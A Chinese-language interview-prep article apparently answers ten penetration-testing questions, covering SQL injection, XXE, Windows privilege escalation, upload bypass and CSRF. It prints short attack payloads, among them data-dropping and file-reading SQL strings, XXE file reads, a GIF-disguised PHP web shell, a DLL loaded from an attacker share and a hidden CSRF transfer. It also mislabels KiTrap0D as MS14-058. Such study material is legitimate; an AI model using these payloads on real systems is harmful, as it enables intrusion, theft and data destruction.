2025年滲透測試面試題總結-2025年HW(護網面試) 14(題目+回答)

安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

目錄

1. SQL注入原理

💥 2. XXE攻擊(XML外部實體注入)

🧩 3. SQL注入分類

?? 4. Windows提權方法

📁 5. 文件上傳繞過技巧

🛡? 6. 代碼審計核心要點

🧠 7. 邏輯漏洞類型

🔓 8. 驗證碼繞過方法

🕸? 9. CSRF原理

🌐 10. 無工具的子域名收集

?

?2025年HW(護網面試) 14

1、sql注入原理
2、xxe 攻擊
3、sql注入都有哪些
4、Windows怎么提權
5、文件上傳繞過
6、代碼審計
7、邏輯漏洞有哪些
8、驗證碼繞過有哪些方法
9、csrf原理
10、不用工具的情況下 如何搜集子域名

1. SQL注入原理

核心機制:攻擊者通過篡改應用程序的SQL查詢結構,使數據庫執行惡意指令。

  • 關鍵步驟
    1. 輸入注入點:用戶輸入未過濾(如登錄框、搜索參數)。
    2. 查詢拼接SELECT * FROM users WHERE id='1' OR 1=1--'(永真條件繞過認證)。
    3. 惡意負載:執行UNION查詢、讀寫文件(如UNION SELECT LOAD_FILE('/etc/passwd'))。
  • 防護方案:參數化查詢(Prepared Statements)、輸入過濾正則(如/[^a-z0-9]/i)。

💥 2. XXE攻擊(XML外部實體注入)

原理:惡意注入外部實體解析XML文檔,觸發敏感信息泄露或SSRF。

  • 攻擊場景
    • 文件讀取:<!ENTITY xxe SYSTEM "file:///etc/passwd">→引用&xxe;
    • 內網探測:<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">
  • 防御:禁用DTD(libxml_disable_entity_loader(true))、使用JSON替代XML。

🧩 3. SQL注入分類

類型特點案例
報錯注入利用數據庫錯誤信息泄露數據' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)--
布爾盲注根據頁面真/假狀態推斷數據' AND SUBSTRING((SELECT user()),1,1)='a'--
時間盲注通過延時響應判斷條件成立' AND IF(1=1,SLEEP(5),0)--
UNION注入合并惡意查詢到原結果集' UNION SELECT username, password FROM users--
堆疊查詢執行多條SQL語句(需數據庫支持)'; DROP TABLE users;--

?? 4. Windows提權方法

  • 系統漏洞提權
    • 利用未修補漏洞(如PrintNightmare):CVE-2021-34527執行\\攻擊者IP\惡意dll
    • 工具:MS14-058(KiTrap0D)或CVE-2020-0787(BITS服務漏洞)。
  • 服務配置濫用
    • 服務路徑劫持:修改可寫服務的執行路徑指向惡意程序。
    • AlwaysInstallElevated:利用組策略允許非管理員安裝MSI(msiexec /quiet /i cmd.msi )。
  • 令牌模擬
    • Juicy Potato:利用COM對象提升至NT AUTHORITY\SYSTEM
  • 數據庫提權:MSSQL啟用xp_cmdshell執行系統命令。

📁 5. 文件上傳繞過技巧

繞過目標手法示例
擴展名過濾大小寫變異、雙擴展名shell.phPshell.php.jpg
Content-Type偽造MIME類型image/png(實際為PHP文件)
文件頭偽造添加圖片魔數(如GIF89a)GIF89a<?php system($_GET['c']);?>
解析漏洞服務器特性(如IIS6.0分號解析)shell.asp;.jpg → 執行ASP代碼
.htaccess覆蓋自定義解析規則AddType application/x-httpd-php .abc

🛡? 6. 代碼審計核心要點

  1. 危險函數定位
    • 敏感操作:eval()system()unserialize()
    • 文件操作:include()fopen()(未校驗路徑)。
  2. 漏洞模式識別
    • SQL注入:拼接SQL語句(如"SELECT * FROM users WHERE id=".$_GET['id'])。
    • XSS:未過濾輸出(如echo $_GET['keyword'])。
  3. 框架安全機制:檢查Laravel、Spring等框架的CSRF防護是否啟用。
  4. 依賴組件風險:掃描已知漏洞庫(如retire.js 檢測JavaScript漏洞)。

🧠 7. 邏輯漏洞類型

漏洞類型原理案例
越權訪問水平越權(改用戶ID)、垂直越權(訪問管理接口)普通用戶訪問/admin/deleteUser?id=100
業務順序繞過跳過關鍵步驟(如支付流程)直接訪問“支付成功”接口URL
條件競爭并發請求資源分配沖突同時發起多次充值請求造成余額錯誤
參數篡改修改接口參數(如價格、數量)訂單支付時修改amount=-100

🔓 8. 驗證碼繞過方法

  • 技術型繞過
    • OCR識別:Tesseract破解簡單圖形驗證碼。
    • 請求重放:重復使用同一驗證碼Token(如未服務端銷毀)。
  • 邏輯型繞過
    • 空值/萬能碼:提交code=``或code=000000`繞過。
    • 接口未校驗:跳過驗證碼提交步驟直接發包。
  • 自動化工具
    • Burp Intruder:暴力破解4位數字驗證碼。
    • 打碼平臺:人工識別(如若快、聯眾)。

🕸? 9. CSRF原理

攻擊流程

  1. 用戶登錄可信網站A(如銀行),留存Cookie。
  2. 誘導訪問惡意網站B,嵌入偽造請求:
    html<img src="http://bank.com/transfer?to=hacker&amount=10000" width="0"> 
  3. 瀏覽器自動攜帶Cookie發送請求,完成非授權操作。
    防護方案
  • Token驗證:請求中嵌入服務器頒發的隨機Token。
  • 同源策略:檢查OriginReferer頭。

🌐 10. 無工具的子域名收集

  1. 搜索引擎語法
    • site:example.com (Google/Bing)
    • -site:www.example.com site:*.example.com (排除主域)
  2. SSL證書查詢
    • 通過crt.sh 搜索域名證書關聯子域。
  3. DNS歷史記錄
    • 訪問SecurityTrailsViewDNS.info 查詢DNS變更。
  4. 公開數據集
    • GitHub搜索example.com (開發者可能泄露測試域名)。
  5. 被動DNS
    • 使用RapidAPI的DNSDB接口(免費配額)。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/911913.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/911913.shtml
英文地址,請注明出處:http://en.pswp.cn/news/911913.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Android開發根據滑動距離標題欄進行漸變

Android開發根據滑動距離標題欄進行漸變 假設滑動控件是NestedScrollView。 先監聽NestedScrollView的滑動距離&#xff1a; nslv_preview_me.setOnScrollChangeListener(object :NestedScrollView.OnScrollChangeListener{override fun onScrollChange(v: NestedScrollView…

高中成績可視化平臺開發筆記

高中成績可視化平臺&#xff08;1&#xff09; 一、項目概述 本系統是一個基于 PyQt5 和 Matplotlib 的高中成績數據可視化分析平臺&#xff0c;旨在幫助教師快速了解學生成績分布、班級對比、學科表現等關鍵指標。平臺支持文科與理科的數據切換&#xff0c;并提供多個維度的圖…

自動化按需導入組件庫的工具rust版本完成開源了

背景 當我為每個Vue項目使用ui組件庫的時候&#xff0c;都會使用按需導入的方式來使用ui組件庫。但是每次按需導入&#xff0c;不可避免的就需要做以下三步。我們以element plus ui組件庫為例。 1. 安裝依賴 第一步&#xff0c;當然是需要安裝依賴。命令如下: pnpm add unp…

Linux內核中TCP分段的核心機制:tcp_fragment函數解析

引言:TCP分段的必要性 在TCP/IP協議棧中,MSS(最大分段大小) 限制了單次傳輸的數據量。當應用層發送的數據超過當前路徑的MSS時,內核必須執行分段操作。tcp_fragment函數正是Linux內核中處理TCP分段的核心機制,它巧妙地在協議合規性、內存安全和性能效率之間取得平衡。 一…

【趙渝強老師】OceanBase OBServer節點的SQL層

OceanBase OBServer節點的SQL層將用戶的SQL請求轉化成對一個或多個Tablet的數據訪問。SQL層會按照以下順序經過一系列組件來處理一個SQL&#xff1a; Parser -->Resolver-->Transformer-->Optimizer-->CodeGenerator-->Executor。視頻講解如下 【趙渝強老師】O…

從“高配”到“普惠”,黑芝麻智能攜手Nullmax打造輔助駕駛主流量產方案

近日&#xff0c;黑芝麻智能攜手Nullmax打造的輔助駕駛主流量產方案正式發布。該方案面向8-15萬元級別主流車型&#xff0c;基于單顆黑芝麻智能武當C1236跨域計算芯片&#xff0c;集成Nullmax全棧自研的軟件技術架構&#xff0c;結合領先的視覺感知算法&#xff0c;打造高性能輔…

信息安全認證體系全解析:從資質證明到行業準入的實踐指南

Hello&#xff01;大家好&#xff0c;小編是一名專注IT領域的資深探索家&#xff0c;大家發現了嗎&#xff1f;現在刷招聘軟件&#xff0c;國企安全崗必標 "CISP 優先"&#xff0c;外企招聘悄悄寫著 "CISSP 加分"—— 這些帶字母的證書到底是啥&#xff1f…

優雅地創建實體類——Builder 鏈式調用

我們來看以下的代碼。改造前構造實體類用重載構造器或用 setter 對變量進行賦值&#xff0c;一旦變量變多則需要對每個變量進行 set 賦值&#xff0c;并且有可能會賦值錯對象。 private static void test() {//1.構造器賦值Task task1 new Task("2023000000009439"…

如何輕松將照片從 iPhone 傳輸到 Android?

從 iPhone 換到 Android 手機后&#xff0c;你肯定不想丟掉珍貴的照片回憶吧&#xff1f;好在&#xff0c;本文分享了 6 種有效的解決方案&#xff0c;教你如何輕松地將照片從 iPhone 傳輸到 Android。 第 1 部分&#xff1a;如何通過 iReaShare Phone Transfer 將照片從 iPhon…

AI編程:[體驗]存量微服務架構下植入WebSocket的“踩坑”與“填坑”

一、核心需求 功能需求&#xff1a;用戶可以通過語音與AI對話&#xff0c;并實現類似ChatGPT的實時交互&#xff08;流式響應&#xff0c;打字機效果&#xff09;技術需求&#xff1a;在現有微服務架構中進行擴展&#xff08;SpringCloud&#xff09; 二、技術盲點 陌生領域 …

uniapp事件onLoad區分大小寫

區分大小寫。不然會不起作用。onLoad方法中的功能均不會被執行。 除了功能邏輯要檢查外。大小寫是要認真檢查的一部分

《打破微前端困局:樣式沖突與資源隔離破局指南》

微前端架構憑借其獨特優勢&#xff0c;正逐漸成為眾多大型項目的首選架構模式。它將一個龐大的前端應用拆解為多個相對獨立的子應用&#xff0c;每個子應用可以獨立開發、部署和維護&#xff0c;極大地提升了開發效率與團隊協作的靈活性。然而&#xff0c;隨著微前端架構的廣泛…

OpenCV——邊緣檢測

邊緣檢測 一、邊緣檢測二、邊緣檢測算子2.1、Sobel算子2.2、Scharr算子2.3、Laplacian算子 三、Canny邊緣檢測3.1、Canny邊緣檢測的步驟3.2、Canny算法的實現 一、邊緣檢測 邊緣是指圖像中像素的灰度值發生劇烈變化的區域&#xff1a; 圖像中的邊緣主要有以下幾種成因&#x…

2506認證資訊|工信部出手整治多品牌充電寶,WMC上海稍遜往年,RED修訂Common Charger,WiFi7 FCC測試

01 — 中國 工信部擬制定移動電源強制性國家標準 該標準將從以下方面全面提升移動電源安全性&#xff1a; 1. 擬在GB 31241、GB 4943.1基礎上&#xff0c;新增或加嚴過充電、針刺等試驗要求。 2. 擬提出影響電池安全的正負極材料、隔膜等關鍵材料要求。 3. 擬規范鋰離子電池…

Linux Regulator 子系統核心邏輯與關鍵問題全解析

Linux Regulator 子系統核心邏輯與關鍵問題全解析 一、什么是 regulator 子系統&#xff1f;核心作用&#xff1f; regulator 子系統是 Linux 內核為板級/SoC 多路可控電源設計的統一電源管理框架。它的主要作用是&#xff1a; 為每一路可控電源&#xff08;Buck、LDO、DCDC …

制造業官網3D應用,讓產品會“說話”

在當今數字化時代&#xff0c;裝備制造業正經歷著前所未有的變革。隨著消費升級和國內經濟的蓬勃發展&#xff0c;中國社會的經濟格局從傳統的“工業經濟”向多元化的“服務經濟”轉型。裝備制造業作為制造業與服務業融合的核心領域&#xff0c;積極探索全新的“服務化”發展模…

SCAU15--氣球狂歡節

15 氣球狂歡節 Time Limit:1000MS Memory Limit:65535K 題型: 編程題 語言: G;GCC 描述&#xff1a; 一個充滿魔法的國度中&#xff0c;存在一場年度的節日&#xff0c;名為“氣球狂歡節”。在這個節日中&#xff0c;有一個傳統的比賽&#xff0c;那就是“氣球挑戰賽”…

python打卡day56@浙大疏錦行

知識點回顧&#xff1a; 假設檢驗基礎知識 原假設與備擇假設P值、統計量、顯著水平、置信區間 白噪聲 白噪聲的定義自相關性檢驗&#xff1a;ACF檢驗和Ljung-Box 檢驗偏自相關性檢驗&#xff1a;PACF檢驗 平穩性 平穩性的定義單位根ADF檢驗: 越小越平穩 季節性檢驗 ACF檢驗序列…

采集文章+原創AI處理+發布網站詳細教程

簡數采集器是新一代的網站文章采集和發布平臺&#xff0c;完全在線配置和使用云采集&#xff0c;功能強大&#xff0c;操作簡單&#xff0c;配置快捷高效。 簡數不僅提供網頁文章采集、數據批量處理、定時采集、定時定量自動發布等基本功能&#xff0c;還集成強大的SEO工具與接…

Hystrix超時降級機制全解析

Hystrix的超時降級實現主要通過以下核心機制完成&#xff0c;結合配置、注解和Fallback邏輯實現服務容錯&#xff1a; 1. 超時觸發條件 默認超時時間&#xff1a;Hystrix默認超時閾值為1秒&#xff0c;超過該時間未響應則觸發降級。自定義配置&#xff1a;可通過HystrixComman…